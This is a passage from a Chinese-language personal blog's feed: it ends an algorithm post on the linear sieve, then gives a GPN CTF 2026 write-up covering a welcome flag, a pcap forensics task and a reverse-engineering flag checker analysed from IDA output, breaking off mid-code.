stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>下計算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span><ul><li>分別考慮<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∣</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \mid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \nmid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9925em;vertical-align:-0.2514em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>的情形</li></ul></li></ol><p>接著照樣造程式即可！</p><h1 id="%E5%8F%83%E8%80%83%E8%B3%87%E6%96%99" tabindex="-1">參考資料</h1><ul><li><a href="https://oi-wiki.org/math/number-theory/sieve/">筛法 - OI Wiki</a></li><li><a href="https://nthu-cp.github.io/NTHU-CPP/math/linear_sieve.html">Linear Sieve - NTHU CPP</a></li><li><a href="https://home.gamer.com.tw/artwork.php?sn=5134077">線性篩法 (不專業講解) - terryobeyes的創作 - 巴哈姆特</a></li></ul>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/11/%E6%BC%94%E7%AE%97%E6%B3%95-%E7%B7%9A%E6%80%A7%E7%AF%A9/</id>
    <link href="https://r3xdj.pages.dev/2026/06/11/%E6%BC%94%E7%AE%97%E6%B3%95-%E7%B7%9A%E6%80%A7%E7%AF%A9/"/>
    <published>2026-06-11T05:08:47.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AF%A9%E6%B3%95" tabindex="-1">埃拉托斯特尼篩法</h1>
<p>我們從大家國一就學過的<strong>埃拉托斯特尼篩法]]>
    </summary>
    <title>[演算法] 線性篩</title>
    <updated>2026-06-11T05:08:47.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="misc" scheme="https://r3xdj.pages.dev/tags/misc/"/>
    <category term="reverse" scheme="https://r3xdj.pages.dev/tags/reverse/"/>
    <category term="CTF" scheme="https://r3xdj.pages.dev/tags/CTF/"/>
    <category term="forensics" scheme="https://r3xdj.pages.dev/tags/forensics/"/>
    <content>
      <![CDATA[<p>因為考上台大了，這個暑假打算上CTFtime上找一些比賽來打。本來想說畢業當周周末來打這個GPN CTF 2026，結果開賽前突然看到零日餅乾社裡傳一個ISIP-HS CTF，比賽時間包含這個GPN CTF，結果就變成GPN CTF只解了兩三題(還簡單題XD)(都在打ISIP-HS CTF)。</p><h1 id="sanity-check" tabindex="-1">Sanity Check</h1><p><img src="2026-06-08-17-35-40.png" alt="Sanity Check"><br>Welcome題，點進Rule看即可<br><img src="2026-06-08-17-38-00.png" alt="rule"><br>Flag: <code>GPNCTF{Yes Chef! I am ready for a fair competition}</code></p><h1 id="double-fried" tabindex="-1">Double Fried</h1><p><img src="2026-06-08-17-38-52.png" alt="Double Fried"><br>題目給了一個pcap檔案，用Wireshark去開<br><img src="2026-06-08-17-48-48.png" alt=""><br><img src="2026-06-08-17-51-19.png" alt=""><br>發現訊息有R開頭跟F開頭兩種，而從圖一可以猜出F開頭的是雜訊，所以我們只看R開頭的。<br>用<code>frame contains &quot;R&quot;</code>進行篩選<br>然後手動把Flag字母接起來<s>因為我也只會人工接起來</s><br>Flag: <code>GPNCTF{NICe, yOu FoUnD 0U7 wHO dID NOt b3L0ng ThEr3}</code></p><h1 id="auto-cooker" tabindex="-1">Auto Cooker</h1><p><img src="2026-06-08-17-43-39.png" alt="Auto Cooker"><br>把題目給的檔案丟進IDA逆向</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">int</span> __fastcall <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>argv<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>envp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  _BOOL4 v4<span class="token punctuation">;</span> <span class="token comment">// [rsp+1Ch] [rbp-4h]</span>  v4 <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> argc <span class="token operator">></span> <span class="token number">1</span> <span class="token punctuation">)</span>    v4 <span class="token operator">=</span> <span class="token function">strcmp</span><span class="token punctuation">(</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"cooking_class"</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%s"</span><span class="token punctuation">,</span> HEADER<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%s\n\n"</span><span class="token punctuation">,</span> WELCOME<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Enter your recipe (flag) you want to cook and confirm with [ENTER]:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fgets</span><span class="token punctuation">(</span>RECIPE<span class="token punctuation">,</span> <span class="token number">64</span><span class="token punctuation">,</span> _bss_start<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">check_recipe_length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  FOOD <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span>_QWORD <span class="token operator">*</span><span class="token punctuation">)</span>RECIPE<span class="token punctuation">;</span>  qword_404128 <span class="token operator">=</span> qword_4040E8<span class="token punctuation">;</span>  qword_404130 <span class="token operator">=</span> qword_4040F0<span class="token punctuation">;</span>  qword_404138 <span class="token operator">=</span> qword_4040F8<span class="token punctuation">;</span>  qword_404140 <span class="token operator">=</span> qword_404100<span class="token punctuation">;</span>  qword_404148 <span class="token operator">=</span> qword_404108<span class="token punctuation">;</span>  qword_404150 <span class="token operator">=</span> qword_404110<span class="token punctuation">;</span>  qword_404158 <span class="token operator">=</span> qword_404118<span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">salt</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fry</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">mix</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">taste</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Congratulations, you \"cooked\" a delicious plate of food!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>發現它會對輸入做一連串處理，最後<code>taste</code>品嘗一下<br>看起來是他會檢查你的輸入是不是Flag，是的話就會Congratulations<br>首先是我們後面的函式如果要執行，都需要<code>v4</code>為真才行(看完下面程式碼你就動了)，所以我們在執行程式時需要傳入<code>cooking_class</code>這個參數。也就是</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">./autocooker cooking_class<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>接著一一分析每個函式</p><h2 id="check_recipe_length" tabindex="-1" id="check-recipe-length">check_recipe_length</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">check_recipe_length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">(</span>result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span>RECIPE<span class="token punctuation">[</span>TARGET_LENGTH <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">!</span><span class="token punctuation">(</span>_BYTE<span class="token punctuation">)</span>result<span class="token punctuation">)</span> <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Your recipe is too complicated or too simple, I already know it won't taste good :("</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我們分析</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">(</span>result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span>RECIPE<span class="token punctuation">[</span>TARGET_LENGTH <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">!</span><span class="token punctuation">(</span>_BYTE<span class="token punctuation">)</span>result<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這個判斷式的意思。<br>前半段檢查是否<code>RECIPE[TARGET_LENGTH] != 0</code>。由於C的字串結尾會填入<code>\0</code><br>後半段用了<code>,</code>運算符，代表先執行前面的<code>result = (unsigned __int8)RECIPE[TARGET_LENGTH - 1]</code>，再用<code>!(_BYTE)result</code>進行判斷，<br>即檢查是否<code>result == 0</code>。因此上面那串等價於：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token char">'\0'</span><span class="token operator">||</span> <span class="token comment">// OR</span>RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token char">'\0'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>而<code>RECIPE</code>是用fget讀入，因此字串結尾會是<code>\n\0</code></p><p>而我們點進去<code>TARGET_LENGTH</code>可以看到他的數值為<code>3Dh</code>，轉成10進位就是61。<br>因此我們需要輸入長度為60的字串(加上<code>'\n'</code>剛好61個字)<br>即Flag的長度為60</p><h2 id="salt" tabindex="-1" id="salt">salt</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">salt</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Salting..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">^=</span> GRAIN_OF_SALT<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這串程式碼表示將字串中的每個字(包括最後的<code>\n</code>和<code>\0</code>，還有字串後面(因為雖然字串結束了，但<code>RECIPE</code>(或說<code>FOOD</code>)陣列大小為64，還沒結束)陣列初始化時的兩個<code>\0</code>)和<code>GRAIN_OF_SALT</code> XOR<br>點進去可發現<code>GRAIN_OF_SALT</code>的值為<code>0AAh</code>，即0xAA</p><h2 id="fry" tabindex="-1" id="fry">fry</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">fry</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">signed</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Frying..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">>></span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token punctuation">(</span><span class="token number">16</span> <span class="token operator">*</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>依樣是對每個字操作，操作為以下這句：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">>></span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token punctuation">(</span><span class="token number">16</span> <span class="token operator">*</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>我們先令<code>unsigned char x = *((_BYTE *)&amp;FOOD + i);</code>，則上面那段程式碼變為：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">x <span class="token operator">=</span> <span class="token punctuation">(</span> x <span class="token operator">>></span> <span class="token number">4</span> <span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token punctuation">(</span> <span class="token number">16</span> <span class="token operator">*</span> x <span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><code>x &gt;&gt; 4</code>會取出x的高4位<br><code>16 * x</code>相當於<code>x &lt;&lt; 4</code>，又一個char只有8bits，因此多出來的4bits會直接被捨棄</p><p>比如若<code>x = 0x10111001</code><br><code>x &gt;&gt; 4</code> 為 0x00001011<br><code>16 * x</code> 為 0x10010000</p><p>因此這個函式的功能是交換每個字的高4bits和低4bits，如0xED變成0xDE。</p><h2 id="trim" tabindex="-1" id="trim">trim</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Oops, it burned :(\nCutting off the burnt bits..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> TARGET_LENGTH<span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">&amp;=</span> <span class="token number">0xFu</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>for迴圈從<code>i = TARGET_LENGTH</code>，即<code>0x3D</code>開始，<br>而和0xFu (u代表unsigned int) AND 表示刪除高4bits。<br>因此此函式功能為：刪掉末三個數的高位<br>因此<br>0xAA 0xAA 0xAA --&gt; 0x0A 0x0A 0x0A</p><h2 id="mix" tabindex="-1" id="mix">mix</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">mix</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  _QWORD v1<span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// [rsp+0h] [rbp-50h]</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+4Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Mixing..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> FOOD<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404128<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404130<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404138<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404140<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404148<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404150<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404158<span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span>v1 <span class="token operator">+</span> <span class="token number">63LL</span> <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>把FOOD整串顛倒。</p><h2 id="taste" tabindex="-1" id="taste">taste</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">taste</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+8h] [rbp-8h]</span>  <span class="token keyword">int</span> v2<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Taste testing..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  v2 <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    v2 <span class="token operator">|=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span>DELICIOUS<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> v2 <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"YUCK!\nOur taste tester thinks your recipe produces bad food, we cannot serve this..."</span><span class="token 